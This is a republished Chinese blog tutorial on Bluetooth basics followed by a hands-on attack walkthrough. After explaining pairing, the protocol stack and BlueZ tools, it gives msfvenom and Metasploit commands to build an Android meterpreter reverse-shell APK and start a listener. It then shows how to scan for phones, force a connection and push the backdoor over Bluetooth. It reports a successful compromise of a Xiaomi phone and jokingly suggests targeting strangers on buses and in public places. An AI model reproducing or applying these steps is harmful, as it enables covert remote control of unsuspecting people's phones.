首页 > 代码库 > 蓝牙攻击-基础篇

蓝牙攻击-基础篇

转载自:http://www.whitecell-club.org/?p=1524

 2016年11月17日

背景

刚接触蓝牙,于是玩了那么一下下,现在分享出来,希望能与大家一起学习

先来了解蓝牙哈 (¯▽¯)~(如果哪里错啦,希望大大萌轻点打~(>﹏<)~)

初次相识

蓝牙是一种低功率,近场通信的通用协议,工作在2.4 – 2.485 GHz,使用扩展频谱,每秒1600跳频(频率每秒改变1600次)

跳频了解:

http://baike.baidu.com/link?url=0cwODpHwtIpYPP9v1mqnGQrtIfuWwUqhjl5xlXxcwKxI_ga3LwLWrIgkxkv9ZdUX

蓝牙范围最小规格为10米,但是制造商在其设备中实现的范围是没有限制(例如加入些放大器)。很多设备的范围可长达100米。只要有特殊的天线,就可以扩大范围。

当两个蓝牙设备连接时,这被称为配对(你们懂的O(≧▽≦)O)。几乎任何两个蓝牙设备都可以彼此连接。任何可发现的蓝牙设备会传输以下信息:

  • 名称
  • 类(不知道是不是这么叫 = =)
  • 服务列表
  • 技术信息

当两个设备配对时,它们交换预共享的私钥或连接密钥。每个存储此连接密钥的设备会在将来配对中识别另一个。

每个设备都有唯一的48位标识符(类似MAC地址),通常是制造商分配的名称。

配对过程如下:

 

技术分享

另外,蓝牙设备会创建所谓的微微网或非常小的网络。在微微网中,有一个主机和多达七个活动的从机。由于蓝牙使用跳频,这些设备的通信是不会相互干扰的(因为使用相同频率的两个设备的机会非常小)

相恋基础

蓝牙协议栈大概如下:

技术分享

蓝牙设备不需要使用堆栈中所有协议(如TCP / IP堆栈)。 蓝牙堆栈被开发是为了能够通过各种通信应用使用蓝牙。通常,应用程序只使用该堆栈的一个垂直切片。

蓝牙协议层及其相关协议如下:

  • 蓝牙核心协议基带:LMP,L2CAP,SDP
  • 电缆更换协议:RFCOMM
  • 电话控制协议:TCS二进制,AT命令
  • 采用的协议:PPP,UDP / TCP / IP,OBEX,WAP,vCard,vCal,IrMC,WAE

除了协议层之外,蓝牙规范还定义了主机控制器接口(HCI),这为基带控制器,链路管理器以及硬件状态和控制寄存器的访问提供了命令接口。

严防小三

蓝牙安全基于几种技术。 首先,跳频。 主机和从机都知道跳频算法,但是其他设备不知道。第二,在配对时交换的用于认证和加密的预共享密钥(128位)。

蓝牙有三种安全模式:

  • 安全模式1:没有活动安全性
  • 安全模式2:服务级别安全。集中式安全管理器处理身份验证,配置和授权。可能未被用户激活。
  • 安全模式3:设备级安全。基于密钥的身份验证和加密。

爱的抱抱

蓝牙协议栈在Linux的实现是BlueZ,大多数Linux发行版都默认安装,如Kali默认安装,BlueZ有一些简单的工具,我们可以用来管理和Hack蓝牙。

hciconfig:此工具与Linux中的ifconfig操作非常相似,使用它来启动蓝牙接口(hci0),其次,查询设备的规格。

hcitool:这是一个查询工具。 可以用来查询设备名称,设备ID,设备类别和设备时钟。

hcidump:可以使用这个来嗅探蓝牙通信

爱的考验

下面结合metasploit进行蓝牙hack

环境:手机开启蓝牙,目标与攻击者处于同一局域网

原理:检测到蓝牙开启,向目标发送后门程序,metasploit “肾透支~~~”

应用场景:公交车,地铁,咖啡厅等公开共享网络环境 ,pia~~~ (⊙o⊙)

一、使用metasploit生成Android后门

msfvenom –p android/meterpreter/reverse_tcp LHOST={ip} LPORT={port} R > ~/fuck.apk

 

技术分享

打开msf,启动监听

use exploit/mutli/handler

set payload android/meterpreter/reverse_tcp

set LHOST {ip}

set LPORT {port}

show options

exploit

技术分享

二、蓝牙工具

查看设备:hciconfig

激活设备:hciconfig hci0 up

扫描蓝牙设备:hcitool scan

技术分享

若如果对方开启隐藏,可以使用fang工具扫描隐藏的蓝牙设备

:::接下来就是:::

霸王。。。(x_x)(强行连接)

blueranger.sh { hciX} { bdaddr }

技术分享

三、发送APK

在新版用blueman发送没成,然后用了旧版kali下的bluetooth-sendto进行发送,好了,就等他点击了,即可获得meterpreter ~

技术分享

通过对小米手机测试,成功取得meterpreter

技术分享

 

经不起考验,那就来个小姐

可能有人觉得,发送apk还要安装运行,会比较难利用,但是我觉得,如果是在一些公共场合,再结合其他环境。。。

例如:

公交车(或者其他地点) +  双十一  ~ 然后,就没有了然后

蓝牙攻击-基础篇